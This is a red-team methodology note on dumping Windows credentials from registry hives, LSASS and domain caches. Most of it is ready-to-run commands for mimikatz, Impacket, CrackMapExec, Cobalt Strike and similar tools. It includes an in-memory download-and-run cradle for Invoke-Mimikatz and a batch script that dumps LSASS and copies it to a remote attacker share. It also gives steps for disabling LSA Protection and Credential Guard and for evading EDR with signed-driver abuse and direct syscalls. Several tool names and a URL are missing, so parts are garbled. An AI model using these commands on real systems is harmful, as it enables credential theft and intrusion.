Credentials dumping


Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, as well as any other secrets stored on the compromised host.

On Windows, the users' password and secrets are stored through various mechanisms and in multiple possible locations:


HKEY_LOCAL_MACHINE\Security Account Manager (SAM) registry hive. File path: %SystemRoot%/system32/config/SAM

LM / NTLM hashes of the host's local accounts.

The SAM database contains the local users of the host (as well as the local groups).

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets registry hive. File path: %SystemRoot%/system32/config/SECURITY

MsCacheV1 / MsCacheV2 hashes of locally cached Active Directory domain accounts. Others LSA Secrets: DPAPI machine key, account cleartext passwords for Windows services or scheduled tasks that are configured on the host, etc.

The HKLM\SYSTEM registry hive contains cached domain logon information in order to allow re-logon on the machine even if a Domain Controller is not reachable. By default, the last 10 accounts used to logon are stored. The MsCacheV1 (Windows Server 2003 / Windows XP) and MsCacheV2 (Windows Server 2008 / Windows Vista and newer) are calculated as follow: MsCacheV1 = MD4(hashNTLM . LowerUnicode(<USERNAME>)) MsCacheV2 = PBKDF2(HMAC-SHA1, Iterations, MsCacheV1, LowerUnicode(username))

Local Security Authority Subsystem (LSASS) process.

Possible cleartext passwords of domain or local logged-on users. LM / NTLM hashes of domain or local logged-on users. Kerberos tickets (Ticket-Granting Ticket (TGT) and service tickets). DPAPI MasterKeys of domain or local logged-on users. SmartCard or Token PIN codes.

Logged-on users credentials are stored by the various Authentication Package (AP) / Security Service Providers (SSP) that are loaded in the LSASS process. Note that after KB2871997, the credentials stored in the LSASS process should be cleared out of memory after user logs off. The following SSP packages are provided by Microsoft and natively integrated in the Windows operating system: MSV1_0 Authentication Package -> Primary authentication package that stores NTLM / SHA1 hashes of local or domain account opening for interactive logons, service logons, and NewCredentials logons. Credential Security Support Provider protocol (CredSSP) / TSPKG -> Stores plaintext credentials of non-Restricted Admin Mode remote interactive (RDP) sessions. Digest SSP (Wdigest.dll) -> Legacy SSP that stores cleartext credentials. Kerberos -> Stores Kerberos SSP/AP tickets of (only) Active Directory domain accounts. If an interactive logon is conducted whenever a Domain Controller is not reachable, logon types 11 (CachedInteractive) or 12 (CachedRemoteInteractive), the Kerberos provider (if used) will store the logged on account clear-text password (for future login attempts).

DPAPI credentials: Credentials files, located in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\<GUID> Windows Credentials vault stored as a combination of vpol and vsch files in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Microsoft\Vault\<GUID> Various locations defined by third-party softwares.

Cleartext passwords, web browsers cookies, etc.

DPAPI / Generic credentials are defined by programs that leverage the Windows Data Protection Application Programming Interface (DPAPI) API to locally store encrypted secrets.

Additionally, on Domain Controllers, the NT Directory Services.Directory Information Tree (NTDS.dit) Active Directory database contains the LM / NTLM hashes, Kerberos secrets (RC4 key, corresponding to the NTLM hash of the account password, and AES 128/256 bits keys) and DPAPI keys of all domain accounts. Refer to the [ActiveDirectory] ntds.dit note for techniques and procedures to dump this database.

Refer to the [General] File transfer note for methods to transfer the eventual tools and registry exports / LSASS dumps to and from the compromised hosts.

SysKey / BootKey

The SysKey, also referred to as the BootKey, stored in the HKLM\SYSTEM registry hive is necessary to decrypt the HKLM\SAM and HKLM\SECURITY registry hives. The HKLM\SYSTEM must thus also be retrieved from the targeted host.

Cached domain logon information configuration

The number of cached domain credentials, as MsCacheV1 or MsCacheV2 hashes, in the HKLM\SECURITY registry hive is dictated by the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\Winlogon\CachedLogonsCount registry key.

By default, 10 domain accounts logon information can be stored, as the CachedLogonsCount key has a default value of 10. If the key is set to 0, network access to a Domain Controller will be required for the authentication of domain accounts.

reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\Winlogon\"

If the aforementioned CachedLogonsCount key is not defined but the following SecEdit's CachedLogonsCount registry key is, the number of cached credentials is restricted through SecEdit (using a Local Security Policy INF file, a domain Group Policy, etc.)

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SecEdit\Reg Values\MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/CachedLogonsCount"

Local Administrator Password Solution (LAPS)

If the Microsoft Local Administrator Password Solution (LAPS) solution is installed on the machine, the password of one (and only one) of the local account is likely managed through Active Directory and will not be mutualized with others Windows systems.

The installation of LAPS on a system creates the following DLL on the system:

Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'

SAM, SECURITY, and SYSTEM registry hives

Local registry hives dump

Standard technique using the reg utility

The Windows built-in reg utility can be used to dump the HKLM\SAM, HKLM\SECURITY, and HKLM\SYSTEM registry hives:


# One-liner
cmd /c "reg save HKLM\SAM SAM & reg save HKLM\SECURITY SECURITY & reg save HKLM\SYSTEM SYSTEM"

Using shadow copy volume on hardened systems

The usage of the reg.exe and regedit.exe utilities can be restricted through Group Policy Object (GPO) by setting the HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools registry key to 1. Trying to use the aforementioned utilities will result in the following error message: ERROR: Registry editing has been disabled by your administrator.

If such hardening has been implemented on the targeted system, a shadow copy volume can be leveraged to copy the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives from disk (as direct copy is not possible due to the files being locked by continued access).

The Windows Management Instrumentation (WMI) class win32_shadowcopy can be used to create a shadow copy volume and presents the advantage of being built-in on both Windows workstations and servers. Alternatively, the Windows built-in Volume Shadow Copy Service administrative (vssadmin) utility may be used on Windows servers (as the required vssadmin's create command is only available on the Windows Servers operating systems). Refer to the [ActiveDirectory] ntds.dit dumping note for more information on how to create a shadow copy volume using vssadmin.

# Either commands create the shadow copy volume.
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -List win32_shadowcopy).Create('C:\', 'ClientAccessible')

# Lists the shadow copy volume configured in order to retrieve the created shadow copy ID.
wmic shadowcopy
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_ }

cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SAM <EXPORTED_SAM>"
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SYSTEM <EXPORTED_SYSTEM>"
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SECURITY <EXPORTED_SECURITY>"

# Will delete all instances of shadowcopy volumes.
wmic delete

# Deletes the specified shadow copy volume.
Get-WmiObject Win32_ShadowCopy | ForEach-Object { If ($_.ID -like "<GUID>") { $_.Delete() }}

# Alternatively will prompt for confirmation before deleting a shadow copy volume but require to be started through an interactive command prompt.
wmic:root\cli> shadowcopy delete

Credentials extraction from the registry hives

The Impacket's Python script can be used to extract the credentials from the HKLM\SAM and HKLM\SECURITY hives. supports the new encryption scheme introduced in the Windows 10 Anniversary update. -sam <SAM> -system <SYSTEM> [-security <SECURITY>] LOCAL


The Linux tool samdump2 can be used to extract the credentials from the SAM hive on a Linux system:


The Windows 10 Anniversary update, introduced, in modern Windows operating systems, a new encryption scheme, based on AES, for the SAM database. samdump2 has not been updated and will return the 31d6cfe0d16ae931b73c59d7e0c089c0 hash (blank password or account disabled) for all local users.

Direct local accounts and LSA Secrets extraction through Windows API calls

Alternatively, mimikatz may be used directly on the targeted system to retrieve the local accounts hashes and the LSA Secrets through the Windows API (and not by decrypting and parsing the HKLM\SAM and HKLM\SECURITY registry hive):

# PowerShell in memory injection
# If the compromised host can not access internet, Invoke-Mimikatz.ps1 should be hosted on a local website on the attacking machine
(New-Object System.Net.WebClient).Proxy.Credentials =  [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam" "lsadump::cache" "token::revert"';

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::cache exit

Remote SAM and LSA Secrets dump and extraction

The Impacket's Python script and the Python CrackMapExec tool, which is built upon Impacket, can be used to remotely dump and extract the HKLM\SAM and HKLM\SECURITY registry hives. leverages the Windows Remote Registry service to save the HKLM\SAM and HKLM\SECURITY registry hives in the target host %SYSTEMROOT%\Temp directory. The exported hives are then remotely parsed to extract the credentials.

CrackMapExec wraps around and can be used for distributed dumping of the local accounts and LSA Secrets of multiple hosts.

# Impacket's

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH> -k -no-pass [-dc-ip <DC_IP>] <HOSTNAME>

# CrackMapExec
# <TARGET | TARGETS> : IP(s), IP range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of <TARGETS>
# Local accounts - HKLM\SAM
crackmapexec smb <TARGET | TARGETS> --sam (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
crackmapexec smb <TARGET | TARGETS> --lsa (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

SAM and LSA Secrets dump and extraction through C2 agents

Metasploit / meterpreter

The meterpreter module hashdump can be used to dump the SAM database on a compromised host:

meterpreter> hashdump

The Metasploit module post/windows/gather/lsa_secrets can be used to dump the LSA Secrets trough a privileged meterpreter session:

msf> use post/windows/gather/lsa_secrets

Cobalt Strike

The Cobalt Strike beacon built-in function [beacon] -> Access -> Dump Hashes (or hashdump from the beacon interact console) will dump the SAM database of the compromised host.

The function output will be automatically parsed and the harvested credentials added to the Cobalt Strike credentials database: View -> Credentials.

LSASS process

LSASS possible protections

The protection mechanisms described below only affect the LSASS process and do not impact the local accounts, stored in the HKLM\SAM registry hive, nor the LSA Secrets, stored in the HKL\SECURITY registry hive.

Local Security Authority Protection

General concept.

The Local Security Authority (LSA) Protection mechanism, firstly introduced in Windows 8.1 and Windows Server 2012 R2, leverage the Protected Process Light (PPL) technology to restrict access to the LSASS process. The PPL protection regulates and restricts operations, such as memory injection or memory dumping of protected processes, even from process holding the SeDebugPrivilege privilege.

The protection level of a process is defined in its EPROCESS structure, used by the Windows kernel to represent processes in memory. The EPROCESS structure includes a (UCHAR) _PS_PROTECTION field , defining the protection level of a process through its Type (_PS_PROTECTED_TYPE) and Signer (_PS_PROTECTED_SIGNER) attributes.

// Source:
typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;                  // Reserved
            UCHAR Signer : 4;

First 3 bits of Level contain the type of protected process _PS_PROTECTED_TYPE (refers to the low nibble of the value):
PsProtectedTypeNone = 0
PsProtectedTypeProtectedLight = 1
PsProtectedTypeProtected = 2
PsProtectedTypeMax = 3

The top 4 bits contain the protected process signer _PS_PROTECTED_SIGNER (refers to the high nibble of the value):
// < Windows 10 1607 Redstone 1 (Anniversary Update) x86
PsProtectedSignerNone = 0
PsProtectedSignerAuthenticode = 1
PsProtectedSignerCodeGen = 2
PsProtectedSignerAntimalware = 3
PsProtectedSignerLsa = 4
PsProtectedSignerWindows = 5
PsProtectedSignerWinTcb = 6
PsProtectedSignerMax = 7
// > Windows 10 1607 Redstone 1 (Anniversary Update) x86
PsProtectedSignerWinSystem = 7
PsProtectedSignerApp = 8
PsProtectedSignerMax = 9

For example, 0x31 refers to an Antimalware PPL process while 0x52 refers to a Windows signed protected process.

Whenever an initiator process attempts to conduct an operation on a target process, a restriction will be applied:

  • if the initiator process' Type is (strictly) lower than the target process' _PS_PROTECTED_TYPE (example: PsProtectedTypeNone < PsProtectedTypeProtectedLight).

  • or if the initiator process does not "dominate" the target process, which is the case if the target process's _PS_PROTECTED_SIGNER attribute belongs to the initiator process' DominateMask. Each Signer type is associated with a different DominateMask mask in the Windows RtlProtectedAccess table.

In such cases, the operations allowed on the target process depends on its Signer attribute. With the exception of the PsProtectedSignerNone processes, for which no restriction are defined, the authorized operations are limited to:

PROCESS_TERMINATE # (except for PsProtectedSignerLsa, PsProtectedSignerWinTcb and PsProtectedSignerAntimalware).

If the LSA Protection mechanism is activated on the system, the LSASS process runs under the PsProtectedSignerLsa-Light protection level. The PROCESS_VM_READ right, required to read LSASS's data, is only granted to others protected processes (Type >= 1) that "dominate" the PsProtectedSignerLsa Signer.

The LSA Protection is activated through the HKEY_LOCAL_MACHINE's RunAsPPL registry key:

# RunAsPPL = 0x0 or undefined -> The LSASS process is not protected (PsProtectedTypeNone).
# RunAsPPL = 0x1 -> The LSASS process is protected (PsProtectedSignerLsa-Light).

reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa /v RunAsPPL

For Windows systems that support the Unified Extensible Firmware Interface (UEFI) Secure Boot technology, an UEFI variable is additionally set in the firmware when LSA protection is enabled. This variable can not be altered through a modification of the RunAsPPL registry key and guarantee the persistence of the LSA protection.

# UEFISecureBootEnabled = 0x0 or undefined -> The UEFI Secure Boot mechanism is disabled.
# UEFISecureBootEnabled = 0x1 -> The UEFI Secure Boot mechanism is enabled.

reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecureBoot\State /v UEFISecureBootEnabled

Bypass overview.

If UEFISecureBootEnabled is disabled, and the targeted system can be safely rebooted, the RunAsPPL registry key can be simply set to 0x0 to disable the LSA Protection mechanism:

reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa /v RunAsPPL /d 0x0

If UEFISecureBootEnabled is enabled, multiple techniques may be used to attempt to bypass the RunAsPPL protection:

  • By leveraging the Win32 API DefineDosDevice to create an arbitrary Known DLL entry in order to hijack a DLL loaded by a PPL process. The DLL, running in a PPL context, will then be used to dump LSASS memory.

  • A driver can be loaded in the Windows kernel to execute code in the kernel space which allows for the modification of every processes' EPROCESS structure (that contain the _PS_PROTECTION field). The SeLoadDriverPrivilege is required in order to load a kernel driver.

  • By duplicating a handle on the LSASS process opened by another process that is not sufficiently protected (otherwise its protection level would need to be bypassed). This requires that a process running on the local system has an handle to the LSASS process and is not protected.

  • Extract the credentials from a full memory dump, captured using forensics tools such as WinPmem or DumpIt. Refer to the [DFIR] Memory note for more information on such tools.

  • (Unrecommend) The official Microsoft opt-out procedure can be followed to disable the UEFISecureBootEnabled mechanism and reset the RunAsPPL registry key.

Bypass using the DefineDosDevice API for DLL Hijacking through Known DLLs.

PPLdump can be used to dump LSASS memory using the aforementioned Win32 API DefineDosDevice technique. For a (way) more detailed explanation on the technique, refer to the original author itm4n blog post.

Note that PPLdump must be executed as NT AUTHORITY\SYSTEM, which can be achieved using, for example, the PsExec utility.

PPLdump.exe -v -f <lsass | LSASS_PID> <OUTPUT_DUMP>

# Using the PsExec utility to execute PPLdump as "NT AUTHORITY\SYSTEM" (as required by the DefineDosDevice technique).
PsExec.exe -accepteula -s cmd /c "<PPLDUMP_FULL_PATH> -v -f <lsass | LSASS_PID> <DUMP_OUTPUT_FULL_PATH>"

Bypass through kernel-land code execution using a Windows driver.

In order for a driver to be loaded (on systems with Secure Boot on), the driver file must be digitally signed either:

  • for signature date prior to 29/07/2015, with a trusted cross-signed certificate, du to compatibility reasons for older drivers.

  • with a trusted Extended Validation Code Signing Certificate certificate (from partners enrolled and authorized for Kernel Mode Code Signing) and Windows Hardware Quality Labs (WHQL) certified.

If there no antivirus solution installed on the targeted system, or if the solution deployed can be disabled, mimikatz's mimidrv driver, digitally signed in 2013, can be used to disable the LSA Protection mechanism. The driver can be loaded as a kernel driver through mimikatz, which will result in the creation of the driver mimidrv service (service type: SERVICE_KERNEL_DRIVER). The loaded driver may then be used to protect the mimikatz process, with a protection Type set to PsProtectedTypeMax and a Signer level of PsProtectedSignerWinTcb, in order to "dominate" the lsass process and be able to dump its memory.

Note that the driver file mimidrv.sys must be present in the same directory as the mimikatz.exe being executed.

# One-liner: mimikatz.exe "token::elevate" "privilege::debug" "!+" "!processProtect /process:mimikatz.exe" "sekurlsa::logonpasswords" "exit"

# If necessary.
mimikatz # token::elevate
mimikatz # privilege::debug

# Loads the mimidrv driver and protect the mimikatz process.
mimikatz # !+
mimikatz # !processProtect /process:mimikatz.exe

# Futher mimikatz commands.
mimikatz # sekurlsa::logonpasswords

# Stop the driver and removes the mimidrv service
mimikatz # !-

If a protected antivirus solution is installed on the targeted system, a legitimate driver vulnerable to a code execution vulnerability can be loaded in order to gain kernel space code execution. The gdrv-loader project leverages the gdrv.sys driver, vulnerable to multiples critical vulnerabilities (CORE-2018-0007), to load the specified unsigned driver. Doing so, a modified mimidrv driver that does not raise antivirus alerts can be loaded in memory.

# Loads the (potentially unsigned) specified driver using the gdrv.sys driver.
gdrv-loader.exe gdrv.sys <mimidrv.sys | DRIVER_FILE_PATH>

# The mimikatz process can directly be protected as the mimidrv driver is loaded in the kernel.
mimikatz # !processProtect /process:mimikatz.exe

# Unloads the specified driver.
gdrv-loader.exe <mimidrv.sys | DRIVER_FILE_PATH>

Through duplication of an handle on the LSASS opened by an unprotected process.

If an unprotected process running locally has an opened handle on the LSASS process, this handle can be duplicated in order to read / dump LSASS memory through it, even if the LSASS process itself is protected. An unprotected user-land process could have obtained such handle legitimately through a Windows driver for example.

The pypykatz's handledup method implements this technique in the following manner:

  1. enumeration of all handles opened by all processes using the semi documented NtQuerySystemInformation API

  2. For each process: 2.1 opening of the process using the Win32 API OpenProcess with the PROCESS_DUP_HANDLE access right. 2.2 duplication of each of the opened process's handles using the Win32 API DuplicateHandle. 2.3 For each handle, check if its a handle on the LSASS process using the Win32 NtQueryObject and QueryFullProcessImageName APIs.

pypykatz live lsa --method handledup

Official opt-out procedure.

Finally, the Microsoft official LSA Protection opt-out procedure can be followed in order to disable the UEFISecureBootEnabled mechanism and reset the UEFI variable.

# Procedure source:

reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecureBoot\State /v UEFISecureBootEnabled /d 0x0

# Requires the x64\LsaPplConfig.efi or x86\LsaPplConfig.efi Extensible Firmware Interface files from the official procedure.
# Should be run in a command prompt with elevated privileges.
mountvol X: /s
copy C:\LsaPplConfig.efi X:\EFI\Microsoft\Boot\LSAPPLConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\LSAPPLConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions %1
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d

Microsoft Credentials Guard

Microsoft Credential Guard is a virtualization-based isolation technology, introduced in Microsoft's Windows 10 (Enterprise edition) which prevents direct access to the credentials stored in the LSASS process.

When Credentials Guard is activated, an LSAIso (LSA Isolated) process is created in Virtual Secure Mode, a feature that leverages the virtualization extensions of the CPU to provide added security of data in memory. Access to the LSAIso process are restricted even for an access with the NT AUTHORITY\SYSTEM security context. When processing a hash, the LSA process perform a RPC call to the LSAIso process, and waits for the LSAIso result to continue. Thus, the LSASS process won't contain any secrets and in place will store LSA Isolated Data.

Microsoft Credential Guard requires a number of hardware and software requirements:

  • Support for Virtualization-based security

  • UEFI Secure boot

  • Supported 64-bit Windows operating systems: Windows 10 Enterprise, Windows Server 2016, and Windows Server 2019

  • Trusted Platform Module (TPM) recommended but not required

Enumeration of Microsoft Credentials Guard configuration

The PowerShell Get-CimInstance can be used to check if Credential Guard is running:

# Credential Guard is running if SecurityServicesConfigured contains 1
Get-CimInstance –ClassName Win32_DeviceGuard –Namespace root\Microsoft\Windows\DeviceGuard

Disabling of Microsoft Credentials Guard

If Credential Guard was enabled with UEFI Lock, the settings are persisted in EFI (firmware) variables and disabling Credential Guard will require a "physical presence at the machine to press a function key to accept the change" after reboot . Note that if Credential Guard was not enabled with UEFI Lock it can be disabled through a network session and will require a reboot of the machine.

Disabling Credential Guard will not allow for the retrieval of the secrets currently stored in the LSASS process but will enable the retrieval of further credentials stored after reboot.

# 0 Disables Credential Guard.
# 1 Enables Credential Guard.
# 2 Enables Credential Guard without making it persist to the UEFI.
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags"

# Disabling Credential Guard
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 0 /f
REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Device Guard" /v EnableVirtualizationBasedSecurity /d 0 /f /t REG_DWORD

Bypass of Microsoft Credentials Guard using memory patching

Patches the LSASS process directly to enable the Wdigest SSP. Further authentications will result in cleartext credentials to be stored in the LSASS process while Microsoft Credentials Guard will still be running.

LSASS dumping and credentials extraction

Methodology and recommended tools

While mimikatz can be used by itself to dump and extract the credentials from the LSASS process, mimikatz released binaries are universally flagged by antivirus solutions. It is thus recommended to use others techniques and tools to dump the LSASS process of the remote host and to use mimikatz only to extract credentials from the exfiltrated dump of target.

Note that LSASS process dump from Windows operating systems of the Windows NT 5 family (Windows Server 2003 / Windows XP) can only be parsed on Windows operating systems of the same family (i.e Windows NT 5) and of the same architecture (32 bits x86 or 64 bits x64).

Use caseRecommended tool(s)

Remote code execution after exploiting a critical vulnerability, etc.

Windows built-in comsvcs.dll

Knowledge of a local administrator password / NTLM hash. Limited to domain accounts or the local built-in Administrator account (RID 500).

CrackMapExec's lsassy module lsassy

Interactive or remote interactive logon session.

Windows built-in Task Manager Windows built-in comsvcs.dll

Distributed credentials extraction of multiple hosts. Limited to domain accounts or the local built-in Administrator account (RID 500).

lsassy CrackMapExec's lsassy module

Against an host protected by an Endpoint Detection and Response (EDR) solution that implements Windows API hooks.

EDR specific. nanodump as a Beacon Object File (BOF) through a Cobalt Strike beacon EDRSandBlast HandleKatz (or HandleKatz_BOF) Worth a try but likely increasingly detected: Windows built-in Task Manager Windows built-in comsvcs.dll Microsoft Sysinternals' ProcDump Obfuscated Out-Minidump PowerShell script Dumpert Attempting the dump under NT AUTHORITY\SYSTEM may also help.

Windows built-in Task Manager

Since Windows Vista, the built-in Windows Task Manager GUI utility can be used to easily dump the LSASS process in interactive logon session. To open the task manager while in a Remote Desktop Protocol (RDP) session type taskmgr in a command prompt or press the Ctrl + Shift + Esc keys.

The procedure to dump the LSASS process using the task manager is as follow:

More Details -> Details -> Right click "lsass.exe" -> Create Dump File


Dumpert is a tool, written in C, that uses direct Windows System Calls (ZwProtectVirtualMemory and ZwWriteVirtualMemoryto) to unhook Windows APIs in order to dump the LSASS process with out being detected by Anti-Virus or Endpoint Detection and Response (EDR) that rely on Windows user-land API hooks.

Dumpert can be used either as a standalone executable or as a DLL, that can be executed using the Windows built-in rundll32 utility:


rundll32.exe Dumpert-DLL.dll,Dump

A Shellcode Reflective DLL Injection (sRDI) version of the code is also provided, coupled with a Cobalt Strike agressor script that uses the Cobalt Strike's beacon shinject command to inject the sRDI shellcode into the current process. Through this execution method, Dumpert is executed without the executable file being written to the compromised system disk.

The sRDI shellcode is a conversion of the Dumpert DLL made using the sRDI project's Python script:

python3 Outflank-Dumpert.dll

After importing the Outflank-Dumpert.cna agressor script in Cobalt Strike (Cobalt Strike -> Script Manager -> Load), the dumpert command can be used through a Cobalt Strike beacon. The command will inject the shellcode into the beacon process, dump LSASS into C:\Windows\Temp\dumpert.dmp using Dumpert (DLL version), and finally download the dump file on the C2 server.

beacon> dumpert
beacon> rm C:\Windows\Temp\dumpert.dmp

Windows built-in comsvcs.dll

The Windows built-in DLL comsvcs.dll exposes the MiniDump function that can be leveraged to dump the LSASS process. The rundll32 Windows built-in utility can be used to load the comsvcs.dll DLL and run the MiniDump function.

Note that the process conducting the dump must have debug privileges (i.e the SeDebugPrivilege privilege enabled), which is by default the case of PowerShell process run from an elevated context.

tasklist /FI "imagename eq lsass.exe"
Get-Process lsass | Ft Id

rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> "<PATH_LSASS_DUMP>" full
powershell -c rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> "<PATH_LSASS_DUMP>" full

The following bat script automates the process and exfiltrate the lsass dump to a remote share:

For /F "Tokens=2" %%I in ('tasklist /FI "imagename eq lsass.exe"') Do Set LsassPid=%%I

powershell.exe -c rundll32 C:\windows\system32\comsvcs.dll MiniDump %LsassPid% "C:\Windows\System32\spool\drivers\color\lsass.dmp" full

IF EXIST "C:\Windows\System32\spool\drivers\color\lsass.dmp" (
	dir \\<LHOST>\TMP
	xcopy /Y /i /q "C:\Windows\System32\spool\drivers\color\lsass.dmp" "\\<LHOST>\TMP"
  del "C:\Windows\System32\spool\drivers\color\lsass.dmp"

Sysinternals' ProcDump

ProcDump is a command-line utility tool signed by Microsoft and part of the sysinternals tools suite.

It can be used to dump the LSASS process with out raising antivirus alerts on all Windows operating systems.

procdump.exe -accepteula -ma lsass.exe <PATH_LSASS_FILE>

# Trough a meterpreter session
upload <PATH/procdump.exe> C:
execute -f "C:\procdump.exe" -a '-accepteula -ma lsass.exe <PATH_LSASS_DUMP>'
download <PATH_LSASS_DUMP>


EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections (Kernel callbacks and ETW TI provider) and LSASS protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring.

EDRSandblast.exe dump --usermode --unhook-method 5 --kernelmode [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]

Refer to the EDR bypass with EDRSandBlast note for more information on EDRSandBlast.


nanodump is a lightweight utility that uses direct syscalls (relying on SysWhispers2) to dump LSASS memory. The LSASS dump is by default created with an invalid signature (to avoid being detected as a memory dump) and with a reduced size (by ignoring irrelevant DLLs from the LSASS memory address space).

nanodump can be used either as a standalone executable or a Beacon Object File (BOF) through a Cobalt Strike beacon. if executed as a BOF, the LSASS dump is not written to disk and will be uploaded to the Cobalt Strike teamserver without touching disk.

A number of techniques are implemented by nanodump, with the goal of bypassing EDR by playing around detection edge cases that may not be covered by the encountered product:

  • Default to opening an handle on the LSASS process with the PROCESS_QUERY_INFORMATION | PROCESS_VM_READ access rights.

  • Using the --fork option, "fork" LSASS to dump the memory of the clone process. This technique helps avoiding access to LSASS memory using a PROCESS_VM_READ handle. The fork is done by first opening an handle to LSASS with the PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS access rights, and using the NtCreateProcess API to fork LSASS.

    NTSTATUS status = NtCreateProcess(

    More information on this technique can be found in BillDemirkapi's Process Forking discovery blogpost.

  • Using the --dup option, search for an already opened handle on LSASS that can be reused instead of opening a new handle on LSASS. More information on this technique can be found in skelsec's Duping AV with handles discovery blogpost.

  • Using the --malseclogon option, leverage the MalSeclogon technique to dump LSASS memory by leaking handle to LSASS through the Secondary Logon Service. The technique is based on the fact that the SeclCreateProcessWithLogonW RPC function, exposed by the Secondary Logon Service, can be abused to leak handles that reside in the LSASS process (and which include handles to LSASS itself).

    The SeclCreateProcessWithLogonW function has the following prototype:

    DWORD SlrCreateProcessWithLogon(
       RPC_BINDING_HANDLE BindingHandle,
       LPPROCESS_INFORMATION ProcessInformationOutput)

    Two particularities of the SeclCreateProcessWithLogonW function are exploited:

    • The function spawns a process as a child of the process specified in argument (psli->dwProcessId).

    • The handles specified in psli->lpStartupInfo->hStd* are duplicated in the new process.

    The SeclCreateProcessWithLogonW function can be called through the CreateProcessWithLogonW API with (indirect) control over the psli->dwProcessId (retrieved from a spoofable value in the TEB of the calling process) and full control on the psli->lpStartupInfo->hStd* handles. It is thus possible to spawn a process that will have handles to LSASS by calling CreateProcessWithLogonW and:

    • Patching the PID value in the current process TEB to specify the PID of the LSASS process.

    • Settings the handles in the lpStartupInfo from handles from the LSASS process.

    More information on this technique can be found in Antonio Cocomazzi's MalSecLogon discovery blogpost.

    If used alone the --malseclogon option will result in a nanodump.exe binary to be written to disk (to use to spawn the new process with CreateProcessWithLogonW). The --malseclogon and --dup can be combined with --binary <BINARY_PATH> to spawn an arbitrary process and use the duplicate handle technique on this process to access LSASS handle.

  • By loading nanodump (DLL version) as a Security Service Provider (SSP) in LSASS and conducting the memory dump directly from code executed within the LSASS process. More information on this technique can be found in xpn's Exploring Mimikatz - Part 2 - SSP blogpost. Following the dump, nanodump DllMain will return FALSE to make LSASS unload the DLL.

# nanodump compilation.
# On Linux, required for BOF.
make -f Makefile.mingw
# On Windows, with the Microsoft Visual C++ (MSVC) compiler toolset.
nmake -f Makefile.msvc

# nanodump can be used directly from a beacon session, after importation of the NanoDump.cna Aggressor script.
# Cobalt Strike -> Script Manager -> Load / Reload -> NanoDump.cna
beacon > nanodump

# Default technique using an PROCESS_VM_READ handle.
# If executed as a BOF through a beacon session, the dump file will not be written to disk.
# If executed as a standalone binary, the dump fill will be written by default at C:\Windows\Temp\report.docx.
nanodump [--write <OUTPUT_DUMP_FILE>]

# Uses the fork technique to dump LSASS memory.
nanodump --fork

# Uses the duplicate handle technique to dump LSASS memory.
nanodump --dup

# Uses the MalSeclogon technique and then the duplicate handle technique (as the process spawned by the Secondary Logon Service will have an handle opened on LSASS) to dump LSASS memory.
# The <BINARY_PATH> process will be spawned as child of LSASS.
nanodump --malseclogon --dup --binary <BINARY_PATH>

# Loads nanodump DLL as a SSP in LSASS to dump LSASS memory.
# If no DLL is specified, a DLL with a random name will be automatically placed ion the Temp folder.
# By default, the dump will be written to disk with an invalid signature at C:\Windows\Temp\report.docx.
# The dump output path can be changed in the dump_path variable of the NanoDump function in the entry.c file.
beacon> load_ssp [<NANODUMP_DLL_PATH>]

# Following the retrieval of the dump, the dump file signature should be first restored (if --valid was not used to generate the dump file).
bash <DUMP_FILE>

